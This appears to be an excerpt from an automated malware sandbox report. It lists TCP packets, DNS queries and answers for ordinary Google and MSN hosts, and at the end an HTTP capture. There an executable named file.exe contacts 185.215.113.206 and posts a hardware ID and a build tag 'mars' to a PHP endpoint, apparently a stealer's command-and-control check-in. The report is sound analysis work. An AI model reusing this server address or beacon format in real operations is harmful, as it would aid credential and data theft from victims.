Nov 21, 2024 20:00:06.149374962 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.149590015 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.149607897 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.236521959 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.236601114 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.236684084 CET	49921	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.236921072 CET	49921	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.236922026 CET	49921	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.236973047 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.237006903 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.239938974 CET	49926	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.239985943 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.240070105 CET	49926	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.240215063 CET	49926	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.240225077 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.418483019 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.418561935 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.418667078 CET	49922	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.418967962 CET	49922	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.419020891 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.419053078 CET	49922	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.419070005 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.427898884 CET	49927	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.427947998 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.428028107 CET	49927	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.428267002 CET	49927	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.428276062 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.228188038 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.228857994 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.228892088 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.229362965 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.229378939 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.690968990 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.690994978 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.691068888 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.691102982 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.691340923 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.691340923 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.691359043 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.691518068 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.691555023 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.691593885 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.694281101 CET	49928	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.694324017 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.694433928 CET	49928	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.694684982 CET	49928	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.694703102 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.775840044 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.787760973 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.787786961 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.788296938 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.788302898 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.962434053 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.963104963 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.963138103 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:07.963633060 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:07.963639975 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.092576981 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.093127966 CET	49926	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.093147039 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.093641996 CET	49926	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.093647003 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.171819925 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.172553062 CET	49927	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.172570944 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.173108101 CET	49927	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.173115015 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.302685022 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.302716017 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.302860022 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.302886009 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.302936077 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.303303003 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.303309917 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.303339958 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.303539038 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.303584099 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.303630114 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.306865931 CET	49929	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.306921959 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.307001114 CET	49929	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.307163000 CET	49929	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.307178020 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.434612036 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.434643030 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.434775114 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.434807062 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.435105085 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.435121059 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.435154915 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.435324907 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.435368061 CET	443	49925	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.435415983 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.438486099 CET	49930	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.438539028 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.438649893 CET	49930	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.438786983 CET	49930	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.438805103 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.616265059 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.617786884 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.619689941 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.619774103 CET	49927	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.619929075 CET	49927	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.619945049 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.619955063 CET	49927	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.619960070 CET	443	49927	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.620644093 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.620701075 CET	49926	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.620742083 CET	49926	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.620760918 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.620771885 CET	49926	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.620776892 CET	443	49926	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.623534918 CET	49932	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.623569012 CET	443	49932	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.623642921 CET	49932	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.623648882 CET	49931	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.623687029 CET	443	49931	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.623730898 CET	49931	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.623830080 CET	49932	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.623842955 CET	443	49932	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:08.623897076 CET	49931	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:08.623909950 CET	443	49931	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:09.588623047 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:09.589328051 CET	49928	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:09.589351892 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:09.589890957 CET	49928	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:09.589898109 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.041002035 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.044647932 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.044711113 CET	49928	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.044759035 CET	49928	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.044771910 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.044780970 CET	49928	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.044785023 CET	443	49928	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.048171043 CET	49933	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.048217058 CET	443	49933	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.048286915 CET	49933	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.048458099 CET	49933	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.048471928 CET	443	49933	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.180732965 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.181480885 CET	49929	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.181507111 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.182022095 CET	49929	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.182027102 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.239852905 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.240731001 CET	49930	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.240758896 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.241589069 CET	49930	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.241595030 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.419682980 CET	443	49931	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.420440912 CET	49931	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.420459032 CET	443	49931	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.420968056 CET	49931	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.420972109 CET	443	49931	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.424612045 CET	443	49932	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.425121069 CET	49932	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.425138950 CET	443	49932	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.425390005 CET	49932	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.425395012 CET	443	49932	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.635252953 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.638320923 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.638387918 CET	49929	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.638443947 CET	49929	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.638463974 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.638473988 CET	49929	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.638479948 CET	443	49929	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.641557932 CET	49934	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.641586065 CET	443	49934	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.641688108 CET	49934	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.641848087 CET	49934	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.641858101 CET	443	49934	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.683944941 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.687014103 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.687093019 CET	49930	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.687139034 CET	49930	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.687160969 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.687175989 CET	49930	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.687180996 CET	443	49930	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:10.690486908 CET	49935	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:10.690530062 CET	443	49935	13.107.246.63	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 19:58:23.645080090 CET	192.168.2.8	1.1.1.1	0x3d20	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:23.645478964 CET	192.168.2.8	1.1.1.1	0xf196	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:30.855827093 CET	192.168.2.8	1.1.1.1	0xfe86	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:30.856364965 CET	192.168.2.8	1.1.1.1	0x11bc	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:36.018625021 CET	192.168.2.8	1.1.1.1	0xca9b	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:36.018802881 CET	192.168.2.8	1.1.1.1	0xb53a	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:38.526189089 CET	192.168.2.8	1.1.1.1	0x71a	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:38.526400089 CET	192.168.2.8	1.1.1.1	0xed54	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 21, 2024 19:58:40.278130054 CET	192.168.2.8	1.1.1.1	0xa168	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:40.278259039 CET	192.168.2.8	1.1.1.1	0xf00	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:40.997664928 CET	192.168.2.8	1.1.1.1	0x181a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:40.998017073 CET	192.168.2.8	1.1.1.1	0xfac9	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:40.998385906 CET	192.168.2.8	1.1.1.1	0x6b41	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:40.998716116 CET	192.168.2.8	1.1.1.1	0xa234	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:41.013592005 CET	192.168.2.8	1.1.1.1	0xa5b6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.013765097 CET	192.168.2.8	1.1.1.1	0xbede	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:41.254508972 CET	192.168.2.8	1.1.1.1	0x1c25	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.254659891 CET	192.168.2.8	1.1.1.1	0x4149	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:41.267221928 CET	192.168.2.8	1.1.1.1	0xf166	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.267364025 CET	192.168.2.8	1.1.1.1	0xcf48	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:41.308388948 CET	192.168.2.8	1.1.1.1	0xd879	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.308537960 CET	192.168.2.8	1.1.1.1	0x5ab7	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:41.395658016 CET	192.168.2.8	1.1.1.1	0xcd77	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.395809889 CET	192.168.2.8	1.1.1.1	0x13c4	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 21, 2024 19:58:41.560452938 CET	192.168.2.8	1.1.1.1	0xc527	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.560712099 CET	192.168.2.8	1.1.1.1	0xf57f	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 19:58:23.782183886 CET	1.1.1.1	192.168.2.8	0x3d20	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:23.783210993 CET	1.1.1.1	192.168.2.8	0xf196	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 21, 2024 19:58:30.996047020 CET	1.1.1.1	192.168.2.8	0xfe86	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:30.996047020 CET	1.1.1.1	192.168.2.8	0xfe86	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:30.997172117 CET	1.1.1.1	192.168.2.8	0x11bc	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:36.157181978 CET	1.1.1.1	192.168.2.8	0xca9b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:36.256115913 CET	1.1.1.1	192.168.2.8	0xb53a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:36.571794987 CET	1.1.1.1	192.168.2.8	0xd148	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:36.571794987 CET	1.1.1.1	192.168.2.8	0xd148	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:36.684794903 CET	1.1.1.1	192.168.2.8	0xc9e5	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:38.663681030 CET	1.1.1.1	192.168.2.8	0x71a	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:38.753227949 CET	1.1.1.1	192.168.2.8	0xed54	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:40.418134928 CET	1.1.1.1	192.168.2.8	0xa168	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:40.418134928 CET	1.1.1.1	192.168.2.8	0xa168	No error (0)	googlehosted.l.googleusercontent.com		142.250.181.97	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:40.421921968 CET	1.1.1.1	192.168.2.8	0xf00	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:41.134633064 CET	1.1.1.1	192.168.2.8	0x181a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.134633064 CET	1.1.1.1	192.168.2.8	0x181a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.134660959 CET	1.1.1.1	192.168.2.8	0xfac9	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 19:58:41.135267973 CET	1.1.1.1	192.168.2.8	0xa234	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 19:58:41.135700941 CET	1.1.1.1	192.168.2.8	0x6b41	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.135700941 CET	1.1.1.1	192.168.2.8	0x6b41	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.151818991 CET	1.1.1.1	192.168.2.8	0xa5b6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.151818991 CET	1.1.1.1	192.168.2.8	0xa5b6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.152015924 CET	1.1.1.1	192.168.2.8	0xbede	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 21, 2024 19:58:41.392380953 CET	1.1.1.1	192.168.2.8	0x1c25	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.392380953 CET	1.1.1.1	192.168.2.8	0x1c25	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.392380953 CET	1.1.1.1	192.168.2.8	0x1c25	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.392380953 CET	1.1.1.1	192.168.2.8	0x1c25	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 21, 2024 19:58:41.406140089 CET	1.1.1.1	192.168.2.8	0xcf48	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:41.406646013 CET	1.1.1.1	192.168.2.8	0xf166	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:41.451539993 CET	1.1.1.1	192.168.2.8	0x5ab7	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:41.451551914 CET	1.1.1.1	192.168.2.8	0xd879	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:41.541915894 CET	1.1.1.1	192.168.2.8	0xcd77	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:41.545090914 CET	1.1.1.1	192.168.2.8	0x13c4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:41.739552975 CET	1.1.1.1	192.168.2.8	0xc527	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:41.853888988 CET	1.1.1.1	192.168.2.8	0xf57f	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:44.548449039 CET	1.1.1.1	192.168.2.8	0x591e	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 21, 2024 19:58:44.548449039 CET	1.1.1.1	192.168.2.8	0x591e	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	185.215.113.206	80	5612	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 19:58:15.392899036 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 19:58:16.793535948 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 18:58:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 19:58:16.802175045 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJJJDHDGDAAKECAKJDA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 38 38 34 42 37 44 39 39 43 30 32 31 32 32 35 36 38 36 33 31 34 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="hwid"B884B7D99C021225686314------BKJJJDHDGDAAKECAKJDAContent-Disposition: form-data; name="build"mars------BKJJJDHDGDAAKECAKJDA--
